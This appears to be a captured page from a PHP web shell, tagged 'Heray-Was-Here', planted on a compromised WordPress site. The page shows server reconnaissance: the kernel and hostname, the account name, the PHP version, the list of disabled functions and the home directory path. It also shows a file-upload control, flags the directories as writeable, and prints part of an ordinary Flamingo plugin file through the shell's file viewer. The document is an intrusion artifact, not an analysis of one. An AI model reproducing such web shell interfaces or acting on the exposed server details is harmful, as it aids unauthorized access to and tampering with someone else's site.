Heray-Was-Here
Server : Apache/2
System : Linux v2.lx.to 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : namagri ( 1019)
PHP Version : 8.2.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/namagri/public_html/wp-content/plugins/flamingo/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/namagri/public_html/wp-content/plugins/flamingo/admin/admin-functions.php
<?php

function flamingo_current_action() {
	if ( isset( $_REQUEST['delete_all'] )
	or isset( $_REQUEST['delete_all2'] ) ) {
		return 'delete_all';
	}

	if ( isset( $_REQUEST['action'] )
	and -1 != $_REQUEST['action'] ) {
		return $_REQUEST['action'];
	}

	if ( isset( $_REQUEST['action2'] )
	and -1 != $_REQUEST['action2'] ) {
		return $_REQUEST['action2'];
	}

	return false;
}

function flamingo_get_all_ids_in_trash( $post_type ) {
	global $wpdb;

	$q = "SELECT ID FROM $wpdb->posts WHERE post_status = 'trash'"
		. $wpdb->prepare( " AND post_type = %s", $post_type );

	return $wpdb->get_col( $q );
}

Hry